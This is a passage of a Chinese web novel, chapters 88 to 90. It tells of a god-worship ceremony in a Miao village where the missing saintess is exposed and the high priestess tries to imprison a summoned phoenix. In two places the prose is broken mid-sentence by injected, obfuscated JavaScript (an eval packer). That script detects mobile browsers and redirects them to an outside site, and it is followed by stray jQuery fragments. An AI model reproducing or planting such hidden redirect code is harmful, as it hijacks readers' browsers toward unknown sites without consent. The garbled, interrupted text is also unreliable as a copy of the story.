“大祭司不知从哪里弄了朵会发光的花来,特意叮嘱许家那小崽子等祭神大典开始后,捧着花站到圣女身后。 但是圣女失踪了,大祭司派人找了一个多小时,还没消息!” 第88章 不男不女的青鸟使 “圣女消失了?” 银杏万般不解:“平白无故怎么会突然消失呢……该不会是被灰狐大仙给抓去了吧!” 何三摇头:“那谁晓得呢!” 我不以为然:“那条死狐狸可舍不得杀宋花枝,而且他俩狼狈为奸,这种重要的露脸场合,死狐狸是不会阻止她来风光的。” 阿乞赞同道:“就是,更何况大祭司还特意为她铺好了路。” 银杏:“铺路?” 阿乞睿智道:“韶华引啊,凤凰!” 一句话令银杏与我皆是恍然大悟。 对啊,族里认识韶华引的人除了宋淑贞也就只有阿乞与李大叔了,我只在古籍记载中看过关于韶华引的描述。 普通族人根本猜不到一朵花能折腾出什么名堂。 韶华引引来凤凰,到时候一旦凤凰真来了…… 那引凤的功劳,就完美落在宋花枝头上了! 敢情宋淑贞折腾了这么一大出,还是在想方设法送宋花枝登上神台。 但,宋花枝失踪,又是在闹哪一出。 不多时,村长赵大叔也带着村里几位实诚的叔伯赶了过来。 “老李,小鸾镜,你们过来了。”赵村长热情地冲我们摆手打招呼。 紧随其后的叔伯们也都客气颔首:“老李,鬼师娘娘,大长老。” 李大叔抽了口烟,“到了?时间掐得挺准。” 赵叔一脸为难地靠过来,扯着李大叔袖子将李大叔拉到一旁,压低声心累倾诉: “今天一早,也不晓得家里那婆娘抽什么风,先把老二吊起来打了一顿,腿都给老二打折了,命令老二今天不许来参加祭神大典。 后又去几个聊得来的老姐妹家里,挨家挨户地搜罗人,浩浩荡荡的离开了村子! 这一声不吭的,就把人全带走了,这不,该来拜王母了,我这几个老哥哥都找不到自家老婆了,我们找人找到了现在!” “弟媳妇领人出了村子?知道是去哪了吗?”李大叔问。 赵叔摇头:“都没说,他们的老婆也瞒得紧紧的!反正能确定她们不会出事,肯定安全,但是别人安不安全就难说了。” 李大叔不明所以地疑惑看他:“什么意思?” 赵叔谨慎地与李大叔低语: “我看我家那婆娘出门的时候,气势汹汹的,像是去找谁寻仇的…… 我那几个老哥哥说他们家媳妇出门的时候,也是这副模样。 所以我猜测,大概是谁又惹了我家那位母夜叉,母夜叉喊人过去干架了。” 李大叔噎住,片刻,拍拍赵叔的肩膀满眼怜悯地安慰了句:“这些年,苦了你了。” 赵叔双手揣袖子里,重重叹口气,“都是命呐!” 祭神大典开始的前半个小时,大祭司派了一批又一批人手着急去找宋花枝…… 可,出去的人在祭神大典开始的那一刻全都无功而返了。 眼见着第三挂长鞭炮都放了,祖祠右方的铜钟也敲响了,阖族子民全都整齐列站在祖祠门前的大广场上手持长香等待她这个大祭司宣布祭神大典开启。 她也没办法再替宋花枝拖时间了,只能硬着头皮卡吉时站出来主持大局。 铜钟闷响三声,宋淑贞拄着乌灵木权杖,面向西方,恭恭敬敬弯腰行礼。 从祭司使的手里接过三炷香,插在祖祠门口的青铜大香鼎里。 随即,掀袍下跪,放下权杖,双手合十带领族人们跪拜祭神。 聚在广场上的族人们全都规矩严肃地弯腰下跪,先双手合十,再弯腰叩首,手心朝上,手背紧贴地面。 我和阿乞银杏,还有李大叔四人也跟随众人的节奏,跪地祈祷。 族中年事最高、今八十有九的族老宋三叔公拿着明黄色绢帛起身,走到众人正前方,立于祖祠朱红大门外,中气十足地沉声诵念: “志心皈命礼。天池开泰,无极圣母,龙华盛会宴瑶池,万灵统御传教旨。诸仙献寿,列圣称觴。天威咫尺,功高德重。代燮全衡,仙主道宗。三千侍女,奏笙簧之天乐……” 族老正慢悠悠的念着那些晦涩难懂的宝诰,我眼尾余光却瞥见跪在旁边的银杏突然打起了瞌睡…… “银杏?”我小声喊她,发觉她脑门子顶地毫无反应,只好偷偷伸手推了她一把。“杏子!” 银杏这才猛地惊醒,赶紧摇摇晃晃地迷糊直起腰,神志不清的胡言乱语嘟囔: “啊?对不起青鸟姐姐我错了!我再也不随地打瞌睡了,你别告诉娘娘,别把我踹下凡间!我不要做孤儿,不要一出生就**爹没了妈……” 我:“……” 阿乞:“???” 不远处的李大叔老脸顿时黑成了炭,恨不得隔着阿乞踹银杏一脚:“李银杏,你爹才**呢!” 保持沉默的我与阿乞再次语塞。 银杏恍惚了一阵,骤然清醒,慌忙弯腰低头趴回来,尴尬道:“我睡迷糊了……刚才还没从梦里缓回神。” 阿乞好奇地往银杏身畔挪挪:“银杏姐,你刚才到底梦见什么了?” 银杏浅浅嘀咕:“梦见、天上的神仙了。” “神仙?” “嗯,一只不男不女的青鸟,还有一个废话一箩筐的白毛老头,老头身上穿着八卦袍,胳膊上还搭着一柄拂尘。 讲的什么玩意儿我一句都没听懂,但是好多和我一样穿着打扮的女孩都坐在地上听讲,我听得直打瞌睡,就闭着眼偷偷睡了会儿,结果却被那个不男不女的青鸟给发现了。 她非要揪着我去见什么娘娘,还说以我的资质本没资格去听什么太上老君**,是那位娘娘走后门把我塞进那个类似于神仙培训班的地方的…… 她还说,那位娘娘要是晓得我如此不知上进,肯定会一巴掌把我从天上拍下来,摔成稀巴烂。 我害怕**,我不敢去见那位娘娘,印象里……我好像只见过那位娘娘一次。 她对我特别好,我腿受伤了她还亲自给我上药来着,就是她太忙了,我想去找她道谢都没机会。” 阿乞哦了声,歪头道:“你宝诰听太多魔怔了吧,你梦里的那位娘娘应该就是西王母。” “是吗?我不知道哎。”银杏一脸茫然。 阿乞道:“你都说了,有只不男不女的青鸟,从古至今,有名的神仙中,只有西王母身边有只青鸟神使。” 银杏还是不确定:“可谁家好神仙身边养只不男不女的鸟啊,西王母身边的那只青鸟,传说中不是公的吗?” 阿乞无奈叹息:“你那是做梦,梦里啥都有可能,梦境都是假的,你又不是真的突然神游见到了青鸟使与太上老君……” 银杏恍然:“也对哦。” 阿乞继续吐槽:“再说,允许人家佛家的菩萨天女不男不女,就不许道家尊神身边养只不男不女的小鸟了?” 银杏:“……你说得对!” 我都快被这两人的离谱言论给绕迷糊了。 好不容易才等到族老正儿八经的念完宝诰与亢长的祭词,我四肢僵硬的起身,继续按照阴苗族的规矩跟随众人节奏,静心祷告。 宋淑贞站在前首,领头闭目祈祷:“感谢西王母娘娘赐予我族长生之力,取之不尽的五谷瓜果,用之不竭的清冽甘泉……愿西王母保佑我阴苗族,风调雨顺,族人安康,繁荣昌盛,生生不息……” 族人们虔诚弯腰,认真重复:“愿西王母保佑我阴苗族,风调雨顺,族人安康,繁荣昌盛,生生不息——” 又过了将近半分钟,宋淑贞才拿过权杖站起身。 祭神大典的流程已经走完了,剩下的时间,族人们可以自由活动,各回各家的供礼旁,焚香为小家祈福。 只是就在大家准备散去时,宋淑贞突然又发话喊住了所有人: “各位,本祭司今天还有要事准备通知大家。事关我们阴苗族兴衰,本祭司不得不多加重视。” 下面的族人们闻言,当即有妇人搭腔: “大祭司,又是什么要事?上次您这么说,还是让我们家家户户出贡品供奉圣女。 说圣女是神娘娘转世,只要圣女开心了,咱们阴苗族的祸患就除了,娘娘庙的异香就不会再作祟了,可供到最后,才发现异香的祸端其实就是圣……” 后面那个‘女’字,硬生生被宋淑贞的一个凌厉眼神给恐吓得憋了回去。 只奈何宋淑贞当初为了陷害我搞出一通连环骚操作,再加上宋花枝这段时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195567|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间的所作所为是真的引起了村里族人们的不满,宋淑贞能堵住一人的嘴巴,却堵不住一群人的质问。 前面的妇人话音刚落,就有别的中年男女紧接追问: “对了,说起圣女,今天可是祈神节,我们阴苗族举办祭神大典的大日子!她身为圣女怎么能无故缺席呢!” “是啊,这样让我们以后还如**奉她!她连祭神大典拜王母都缺席,万一惹得西王母不悦,觉得我们阴苗族信徒心不诚,这不是害了我们阴苗族么!” “大祭司,你上次还言之凿凿地告诉我们,与山里野仙苟合的孽障就是鬼师娘娘,你还要放巫火烧死鬼师娘娘。 可结果呢,鬼师娘娘显现真身,证明了自己的清白……鬼师娘娘是清白的,那不清白的宋家姑娘,又该是谁?” 宋淑贞被人群中的男女逼问得脸色发青,玉手紧攥乌灵木权杖,强装镇定,眯了眯漆黑深眸,凝声反问:“你们这是在同本祭司兴师问罪么?你们怀疑圣女?” 有头铁的壮年男子立马拿出证据谴责: “圣女已经不是纯洁之身了!当年,圣女尚年少,可是当着我们月阴村所有族人的面在神娘娘庙里发下重誓,向神明保证自己终生不嫁,要以纯洁之身供养长生泉。 可现在呢,长生泉根本不需要圣女供养了,圣女的圣体也早就被肮脏男人给玷污了,还有娘娘庙那些事…… 大祭司,你不觉得,你应该给我们这些被蒙骗的族人一个交代吗!” “交代,你想要什么交代?圣女可是神娘娘转世,神娘娘会害人么!”宋淑贞咬牙切齿地恶狠狠反驳。 宋淑贞那头还在被迫与族人周旋,银杏看不懂地悄然凑近我,挽住我的胳膊,低声找我八卦: “今天村里人这是怎么了?好像突然硬气了!明明前几天这些话还只敢在私下偷偷议论。” 我摇头:“不晓得哎,可能是因为……积怨已久?” 今天这些村民的反应,是不大对。 阿乞也默默往我俩身畔挤了挤,面无表情地直视前方,小心翼翼动嘴: “还能是怎么了,村里这两天突然传出镜镜姐更像神娘娘的说法,不少村民私下都怀疑,镜镜姐才是真的神娘娘,宋花枝是假的。 何况,宋花枝这二十年来一直以神娘娘转世自居,却从未展示出任何神通,时间长了,不惹人疑心才怪。 而且,头一阵子村里人因为娘娘庙时常散发出异香的事家家户户提心吊胆诚惶诚恐,他们听从了大祭司的意见,做了贡品供奉宋花枝,其中还有什么人乳馒头、**肉包子…… 嗯,有的人家交不出这种贡品,就只能用牛羊猪肉供奉。 但前两天有个年轻小媳妇说,她曾在狐王下聘娶亲前,无意撞见宋花枝把别人供奉的牛羊猪肉与羊头,还有用血抄的祈福经,都给送到后山挖坑埋了,血经更是埋之前,还踩了两脚。 这不,昨天我和村头几个大娘唠家常的时候,那个供奉血经的婶子就故意跑来找我,拐弯抹角地打探我羊头猪头供奉与人乳**供奉的区别,我这么心善的人,当然好心的全告诉她了!” “区别?”银杏不解地问:“啥区别?” 阿乞一脸高深莫测的正经道:“牛羊猪肉、牛羊猪头,都是供奉神明的,但人乳馒头和**肉包子能助人提升修为。” 银杏愕然:“嚯,原来是这样!” 所以,现在村里人应该全都知道当初宋花枝一边躲在娘娘庙害人,一边冒充神明索要贡品,用人乳**提升道行,两头吃的肮脏真相了。 难怪今天会突然对宋淑贞发难。 “大祭司说,圣女是神娘娘转世,大祭司可有什么证据吗?” 年轻男人的一句话引得宋淑贞霎时老脸铁青:“此乃事实,还需要证据?凤凰接引是证据,圣女的那张脸更是证据!” 说着,还另有深意的冷冷剜了眼站在人群中的我,话里有话地道: “圣女不是神娘娘转世,难不成族里还有什么人,可能是神娘娘转世? 你们真当,什么阿猫阿狗都配称神娘娘转世么! 想抢神娘娘的身份,还得看她,够不够格!” 第89章 凤凰认了宋花枝为主 王家婶子理直气壮的反驳道: “昨夜娘娘庙被雨水淹了,娘娘神像突然低眉垂目,不愿视人。 今早我们去娘娘庙清理积水,细看娘娘神像,才发现,族里的确不止圣女一个女人长得像神娘娘,神娘娘低眉垂目的样子,倒更像是受了委屈的鬼师娘娘! 大祭司,我听说神明转世的人身,能与神像互生感应,大祭司你既坚持圣女就是神娘娘转世,那为什么这么多年来,圣女从未在我们这些族人跟前施展过任何神通? 我们每天都给神娘娘烧香,朝神娘娘祷告,为什么我们的心愿圣女不知道,而且,圣女也从未替我们实现过任何心愿。 我记得大祭司你当年做圣女时,十八岁就可以熟练操纵阴苗族现存的所有阴蛊了,但花枝圣女,好像至今还没有独立炼制阴蛊的本事! 倒是花枝圣女的同胞妹妹,二十二岁年纪轻轻就成了新任鬼师。 花枝圣女既不能与神娘娘互生感应,又修行浅薄滞后,她这么弱,让我们这些阴苗族人如何安心! 她哪来的本事庇护我们整个阴苗族!” “你的意思是,花枝圣女不是神娘娘转世,宋鸾镜,才是真正的神娘娘?”大祭司冷嗤一声,寒光凛冽的视线扫过人群,迅速停落在我头上。 冷漠启唇,无情贬低,字字扎心: “她?也配!本祭司可是她的生身母亲,她一出生莫说是凤凰了,就是只野鸟都没出现过! 倒是,屋里溜进了一小青蛇,屋外院子里蛇群蠕动。 你们与其在这里同本祭司争论谁是真正的神娘娘转世,不如回去问问你们还健在的老父亲老母亲,当年本祭司生花枝与这个孽障时,他们可都在本祭司家院子里守着! 有些事,本祭司原本是不想说的,但,宋鸾镜,这是你逼本祭司的。 本祭司当年之所以想**你,是因为你天生克父克母! 你是妖孽转世,所有靠近你的人都会遭遇不幸,你还会给村子里带来灾难! 你还没出生就克**你父亲,后来你还想吞噬你姐姐的圣女气运,本祭司是为了整个阴苗族着想才打算大义灭亲**你一了百了! 还有你的外婆,宋鸾镜,你敢说你外婆不是因你而死的? 你就是个天煞孤星,祸族的妖孽,你都已经有了鬼师的身份还肖想抢夺你姐姐神娘娘的身份! 宋鸾镜,本祭司当初就不该生下你!” 虽然,早就对她没有了任何期待与感情,可当她口口声声控诉我克死父亲害死外婆的时候,我还是抑制不住的,心头窒息,像是被一条无形的细绳层层勒住,越收越紧…… 心神大乱地踉跄了一步。 “镜镜!”银杏担忧地扶住我。 李大叔见状,立即挺身反呛回去: “这孩子是妖孽转世?我怎么没看出来呢……说起来,十几年前老祭司曾给两个孩子测过命,的确,一个孩子满身金光,一个孩子元辰宫黑雾缭绕。 但可惜,满身金光的那个是小鸾镜,要不然这孩子怎么会被华桑大帝与地府看上,成了新任鬼师呢!” “李忘尘,我们阴苗族的事不需要你多嘴!”宋淑贞怒目圆瞪地暴喝。 李大叔潇洒地抽出烟杆敲了敲,“你要给你闺女造势,我不管。但小鸾镜,她现在是我老李的干闺女,你不要她,我要!” 宋淑贞闻言面目扭曲更是稳不住了,“她何时成了你干闺女!” 李大叔吊儿郎当: “她刚出生就是啊!她爹活着的时候和我是好兄弟,当年你怀上这孩子刚两个月,她爹硬拉着我在月下盟誓,让我做她闺女的干爹。 之所以从前我没提过这件事,是顾及你寡母带两个女儿,没了丈夫,孩子突然多个干爹传出去对你名声不好。 可一个月前老祭司在命悬一线时,曾拉着我的手苦苦叮嘱我,要我替她照顾好她唯一的外孙女,我身受老祭司遗命,当然要照顾好小鸾镜了。 你现在知道了也好,淑贞,我不想和你作对,你也休要再欺负我闺女,我李某人两个女儿生来都是天之骄女,可不是随便什么心术不正的人都能欺负的!” “李忘尘!”宋淑贞目眦欲裂,咬牙呈口舌之快:“她迟早会害死你!本祭司,等着那一日的到来!” “孩子她父亲是**的,你我都心知肚明。大祭司是想当着这么多族人的面,和我老李掰扯一番、二十年前孩子爹坠崖身亡的事么?” “够了!”宋淑贞说不过李大叔,提及我爸的死,明显变心虚了。 梗着脖子挥袖转身,刻意避开李大叔的滚烫目光,深吸一口气转移话题:“本祭司今日要宣布的事,事关阖族气运,没时间同你们在这里打嘴仗!” 说罢,抬手示意候在一旁走路还不利索的狗腿子许三筒。 许三筒得到指示赶紧一瘸一拐地走到人前,装模作样地清清喉咙,郑重其事道: “天佑我阴苗族,族中大喜!上河村干涸两千多年的小瑶池总算活过来了,池子里还开满了金莲花。 两千年前,我族当时的大长老就曾判言,小瑶池内的金莲花代表着我族气运。金莲花开的越多,我族气运越旺! 自两千年前小瑶池干枯后,我阴苗族平均每隔十年就要经历一次天灾人祸,上一次天灾,族里大旱,六个月没下雨,南头村寨饿死渴**好几十个族人。 上上次天灾,族里粮食闹蝗灾,上上上次,暴雨过后九黎山发洪水,淹**不少孩子! 现在小瑶池重新活过来了,瑶池内莲花开的又大又多,这意味着咱们阴苗族的气运总算好起来了! 这都是大祭司与圣女的功劳,定是西王母看在我族首领大祭司矜矜业业守护阴苗族,圣女不辞劳苦日夜虔诚供奉的份上,才特降神恩,用神力复活的小瑶池,令瑶池内花开似锦! 另外,圣女也并不是无故缺席祭神大典,而是连夜赶去小瑶池供奉水灵了! 你们这些愚蠢的东西,竟然听信不知是哪个居心叵测的人散布出来的谣言,怀疑圣女的身份,真是混账! 你们可知道,要不是为了保护我们月阴村不再被山中野仙侵扰,圣女日夜不休地跪在西王母娘娘神像前虔诚祈祷,小瑶池根本不可能再现生机!” 这一番撒谎不脸红的言论,听得我头都大了。 银杏嫌弃扶额:“又来……” 偏偏村里这些糊涂人就吃这一套,许三筒刚说完,就有人迫不及待追问:“什么?小瑶池又有水了?!是因为圣女?” 人群里年长者激动附和:“好啊,小瑶池又有水了,的确是天佑我族啊!我们阴苗族有救了,说不定……很快就能再次拥有长生之躯了!” “我小时候也听长辈说过,那瑶池中的金莲花与我族气运息息相关,自从小瑶池落地在我们阴苗族,我们阴苗族就像是被罩了一层防护结界。 别说什么天灾了,曾经苗域爆发过一场极大极凶猛严重的疫病,外面的阳苗人都快死绝了,咱们阴苗族却愣是毫发无损,没受到半分影响!” “是啊,长生泉的泉水能让我们延年益寿,可小瑶池的池水却能令我们百病尽消,听说只要靠近小瑶池,被小瑶池的灵气熏个半天一天,回去就能年轻好几岁!” “是圣女让我们重新拥有了小瑶池……难不成真是我们错怪圣女了?” “那还用说么!圣女可是神娘娘转世。 我们啊,肯定是被有心之人带了节奏,才误会圣女,小瑶池是圣女日夜虔诚祈福得来的,足以证明圣女心中,是把我们这些族人放在首位的! 不像某些人,没那个命却偏要争这口气,明明已经有的够多了,还妄想得到不属于自己的东西…… 真是贪得无厌!” 这句话,显然是在讽刺我。 “你个、”银杏气不过地要去同那位大娘吵架,我却拉住她的胳膊,无奈将她按了下来:“随她说吧。” 银杏气到俏脸绯红,指着那个张口就来的中年妇人不甘心道: “她凭什么污蔑你!还妄想得到不属于自己的东西,呸,神娘娘转世的身份给你你都懒得要!圣女怎么了? 我家镜镜本来也该是圣女,是大祭司偏心才不肯把圣女身份还给镜镜! 再说,镜镜现在是鬼师娘娘,人家的背后是华桑大帝与阴曹地府,谁稀罕什么神娘娘啊!” 所幸村里**多还是敬畏我这个鬼师娘娘的身份,那大娘说完,其余村民只是面面相觑互相交流眼神,并无人再接她的话。 宋淑贞见目的达到了,青黑脸色这才稍稍好看些, “对,小瑶池确实是因为花枝才重现人间的,而且,还有一件要事,瑶池之下,藏着一条灵凤,只是灵凤至今还不肯离开瑶池现身人间。 所以本祭司已经在瑶池附近设下结界,避免族人误入瑶池惊扰到灵凤。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195568|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村里人一听瑶池下有凤凰,眼神都明亮了! “灵凤!俗话说,凤凰择良木而栖,凤凰出现在咱们阴苗族,定是咱们阴苗族的气运好起来了!” “可不是么,这是件天大的喜事啊!” 宋淑贞继续宣布:“小瑶池的凤凰,已经认了花枝为主,花枝去小瑶池,一为替小瑶池重聚仙气,二为照顾那只灵凤。” 此话一出,更是满场哗然。 “灵凤认了花枝圣女为主!花枝圣女肯定是神娘娘转世无疑了!” “花枝圣女一出生就能引来灵凤,那条凤凰认花枝圣女为主,也是意料之中嘛。” “祥瑞!花枝圣女就是祥瑞啊!” 我有些审美疲劳地抬手揉太阳穴:“又是这种把戏。” 阿乞倒是心平气和,慢悠悠地轻叹:“什么人都敢自称灵凤之主……夭寿啊。” 同样的戏码我已经看过无数遍,都生出了想提前回家陪青漓嗑瓜子的念头…… 但。 赵家婶子一道声如洪钟的怒喝,成功把我的好奇心又勾了起来! “大祭司说,圣女去小瑶池聚仙气,养凤凰了,那这个女人又是谁!” 我与众人同时转身朝后看去—— 不看不知道,一看吓一跳。 “嚯!村长老婆这么厉害!” “妈耶,赵二他妈闷声干大事啊!” 阿乞与银杏惊叹完,我也忍不住地猛吞了口口水,“还好从前没惹她。” 放眼望去,只见赵二他妈带着一众老姐妹,有的手里拿镰刀,有的肩上扛铁锹,雄赳赳气昂昂地大步流星迈到广场上。 老姐妹队伍里,还簇拥着衣衫不整,青丝凌乱,形象十分不堪的宋花枝…… 宋花枝这模样,怎么像是被人捉奸了呢? 我和银杏还没弄明白具体是什么情况,李大叔就敏锐伸手捂住了阿乞的鼻息。 附近的男村民们紧跟着脸色一白,纷纷避之不及的仓皇捂鼻子,见了鬼似的惊恐大叫:“香、又是那股异香!” “快!快捂住鼻子!” “千万不要被异香迷惑了神智!” “异香,就是从宋花枝身上散出来的……” 我后知后觉地这才嗅到空气中一丝淡淡的腥臭味。 至于银杏与在场的女人们,则一点反应都没有。 压根没闻见任何异味。 这点味道算什么……毫无挑战性。 想来,是她结束后,身上残留的还没完全散去…… 就算在场的男人们闻见了,也顶多只会头晕目眩,不至于彻底丧失意识。 赵家婶子与村里那些大妈们动作倒也快,没多久就把宋花枝推到了脸色煞白的大祭司跟前,还顺手丢了条血淋淋的黄鼠狼尾巴过去,狠狠打宋淑贞的脸。 “大祭司,这就是你说的,为我们阴苗族祈福?!” 赵村长愣半晌才反应过来自己老婆究竟在做什么,着急大步迈出去询问:“哎呦,老二娘,你这是在干什么啊……你欺负圣女了?这可是圣女、” 然而不等他说完,和赵家婶子交情好的贾家大妈就大声揭穿道: “村长你可别冤枉咱们,咱们这群普通人谁敢打圣女啊!圣女这是和**在娘娘庙里行云雨之欢被咱们不小心撞见了而已。” “什么!圣女怎么会在娘娘庙和野仙家……”赵村长惊叫。 不知是不是我的错觉。 我好像在赵村长的脸上,看见了表演痕迹…… 被雷了一次又一次的族人们此刻一片沉默…… 贾家大妈用眼神示意赵村长看大祭司衣袍边的黄鼠狼尾巴:“还能有假吗?证据都在这呢!” 赵村长夸张的眯着双眼,眼角褶皱都快能夹死苍蝇了,痛心疾首:“造孽、造孽啊!” 反应有点迟钝的宋花枝惊恐昂头,求助宋淑贞:“妈、妈……” 宋淑贞被自家宝贝女儿气得不轻,紧闭双目深呼一口气,回头,朝身后年轻人递了个眼神。 年轻人瞬间明白宋淑贞的用意。 悄然溜进祖祠,紧接着,将遮盖着红布的红木托盘取了出来。 “淑贞打算引凤凰了!”李大叔赶紧动手,暗中捏诀想要阻止宋淑贞释放花香。 可,终究还是迟了一步。 宋淑贞背在身后的手快李大叔半秒施法,红布陡然掀起一角…… 紧接着,不到五秒,一股携着浩瀚仙气的金色神光就猛地从西边天空声势浩大地席卷而来—— 第90章 华桑大帝的两护法 振翅渐飞渐近的那团金光里,强大的灵力内包裹着一条庞然大物。 巨物飞行的速度极快,翅膀挥舞过程中裹挟的气流压迫感极强,甫一袭向九黎山山顶,庞大的身躯便遮天蔽日,令整个阴苗族的天空都黯沉了下来…… 凤翅掀起的缕缕气流如凌厉刀刃,刮得人面皮生疼。 一声尖锐凤鸣,险些刺破众人耳膜。 清脆回荡在千里连绵山脉中—— “是、凤凰!” “时隔二十二年,我们阴苗族总算是又见到凤凰了!” “大祭司没骗我们,只有圣女才能引来灵凤……” “灵凤现世,是祥瑞啊。” “灵凤保佑我阴苗族,风调雨顺,子民安康!” “灵凤保佑……” 广场上的族人们纷纷跪了下来,双手合十诚心膜拜。 宋淑贞抓住机会,抬手扔给了宋花枝一枚红色灵果。 宋花枝接住果子,当即明白了宋淑贞的意思。 衣衫不整,步伐踉跄地冲到灵凤面前,举起手里的灵果引诱凤凰…… “快来,我在这里!” 灵凤扫见宋花枝手中高举的那粒红彤彤的灵果,果然一个俯冲,飞身朝宋花枝扑了过去—— “凤凰、凤凰它只认我,看见了么!”宋花枝兴奋瞪大眼,迫不及待地朝众人证明。 只是还不等广场上的族人们激动开口,阿谀奉承,冲下来衔走宋花枝指尖灵果的凤凰就翻脸不认人的凤翅一挥,生生一道强大神力将宋花枝原地掀翻了两个大跟头! “啊!我的头!” “啊!我的脚!” “妈——” 宋花枝以一种甚是诡异奇怪的姿势一头撞在了祖祠门前的青铜大香鼎上…… 霎时满脸是血! 突如其来的变故吓得村民们纷纷不由自主后退数步。 宋淑贞看了眼宝贝闺女此刻的狼狈凄惨模样,目下一凛,举起权杖便动用巫术企图囚住那只扭头折返的灵凤—— 缕缕红光缠上灵凤的身躯,灵凤昂头长鸣两声,用力震动流光溢彩的金羽双翅。 “这只凤凰疯了!阴苗族的族人们,同本祭司一起布阵,将它绑起来!我阴苗族等了两千年,好不容易才等到小瑶池重现人间,若能将灵凤永远留在阴苗族,何愁我族气运不顺!” 万万没想到宋淑贞竟会用这种理由来忽悠族人帮她一起囚禁凤凰,可凤凰这种神鸟,当真是她想驯服,就能占为己有的么? 月阴村的村民们听她这么一说,犹豫了一阵,后来竟当真信了宋淑贞的鬼话,齐齐动用巫术帮宋淑贞束缚灵凤。 李大叔看不下去的着急斥止:“淑贞,凤凰是神鸟!你私自囚禁凤凰可是大罪!若它反扑报复,你会……” 奈何宋淑贞此刻压根听不进去李大叔忠告,一意孤行地催动法力,冷漠道:“反扑报复?呵,你当真以为,我阴苗族怕这区区灵鸟!” “不对劲,大祭司今天怎么这样狂……以往不是连山里的杂碎野仙她都忌惮得不行嘛,今天竟敢觊觎凤凰!”银杏疑惑呢喃。 阿乞站在我身畔摸着下巴想了想,突然惊道:“我晓得了!想起来了,是乌灵木权杖!” 李大叔不解回头:“权杖怎么了?” 阿乞道:“我曾听师父说过,大祭司手里的乌灵木权杖专打凤凰!是凤凰的天敌!” “难怪!”李大叔恍然大悟。 我立即忧心地昂头看向被困在头顶天空的那团金光,金光内的神鸟挣扎间被宋淑贞扯落了两片金羽,疼得频频扭脖子啄翅膀…… 乌灵木本就是凤凰的天敌,再加上这么多村民都在以微薄之力助宋淑贞稳固阵法,凤凰现在挣扎得也有些厉害,说不准她们还真能将凤凰囚禁住! 以月阴村这些族人自私狂妄的性子,凤凰要是真落在他们手里,指不定会被他们如何折磨呢! 到时候,下场恐怕不会比肉芝好。 “大祭司!”我毅然挺身而出,冷声命令:“把凤凰放了!” 宋淑贞向来不将我放在眼中,此时更是连一抹余光都不肯分给我,置若罔闻地接着手握乌灵木,加大掌中巫力…… 倒是宋花枝这会子有空搭理我,抬手理了理凌乱的长发,得意嚣张地冲我挑衅道: “凤凰,就该是我的坐骑!宋鸾镜,我劝你不要多管闲事,你阻止不了什么的。等我降服了凤凰,我定会让你尝尝被神鸟啄瞎双眼的滋味!” “别和她废话了!”银杏果断抽出蛟骨鞭,仗义道:“你去救凤凰,我来断后!” “断后?” 银杏细眉一拧:“揍宋花枝啊!” 我:“……” 说干就干,我与银杏相视一眼,立马配合默契的分头行动,她去抽宋花枝,我则踮脚飞身落在宋淑贞跟前,趁宋淑贞毫无防备之际一把抢走了宋淑贞手里的乌灵木权杖—— 权杖被我夺了过来,束缚在灵鸟身上的巫力陡然消失,凤凰瞬间恢复了自由。 可宋淑贞却被我这一举动给激得气急败坏了,乌灵木权杖在我手里留了不到五秒钟,就被宋淑贞眼疾手快的再次夺了过去。 “三番五次坏我好事,找死!”宋淑贞出掌要来拍死我。 好在我近来跟着青漓混,白天被他手把手教法术,晚上还被迫没心没肺和他灵修吸他身上灵气,这会子再与宋淑贞交手,我竟能轻易接下宋淑贞一掌。 只是行动上没有宋淑贞灵敏,总是被宋淑贞逼得连连后退。 “你想驯服凤凰为你女儿所用,可凤凰是神鸟,任何人都没资格将它强留在任何地方!你为了一己之私囚禁灵鸟,便不怕天打雷劈遭天谴吗!” 我不客气揭穿她的阴谋,她冷哼一声,右手熟练挥舞着乌灵木权杖,趁我动行动慢她一步,举起权杖就用力朝我肩上劈下来…… 我被权杖的强大巫力给劈得从台阶上跌落下去,抬手捂住撕裂的肩膀,蓦然抬头,却见宋淑贞的权杖已经直逼我面门击来了—— 权杖,离我的眉心,仅有五公分距离。 然,千钧一发之际,一柄银光熠熠,寒气森森的锋利长剑——挡在了我与乌灵木权杖之间! 散发着寒雾的皎皎银剑上映照着我的眉眼,我心跳一滞,诧异扭头看向神剑的主人…… 却见到李大叔一改往日颓废恹恹的精神状态,挺立如松,一手执剑,一手负在腰后。 长发松散垂落在肩后,虽面上胡子拉碴,多年未修边幅,但浑身上下却透出一股潇洒侠客的正义气质…… 一身粗布旧衣,却硬是被他穿出了几分仙风道骨之感! 真不愧是道术早已大成的李大叔啊! 李大叔剑上的寒气熏得我眼睛疼,我赶忙后退两步揉眼睛。 这什么剑啊,阴气真重! 可,心里念叨完这句话,我的脑子内忽有一瞬的恍惚。 记忆深处,隐约浮现出一幕遥远的画面—— 灰蒙蒙的天空下,我握着那把冻手的长剑蹲在河面一块凸起的巨石上:“天道选你做阴间老大,你干嘛拒绝啊!” 陪我坐在巨石上清闲品酒的墨袍男人慢悠悠反呛道:“天道还选你做人间的老大呢,你不也一样拒绝了么?” 我嘶了声:“我那是不想和人皇抢饭碗。” 墨袍男人嗤笑一声:“人皇都死八万年了!” 我抬手轻抚剑上寒光:“我懒,你不清楚么?好不容易等到混战结束,还拿我当骡子使呢!” “听说,你只要了人间一座仙山。” 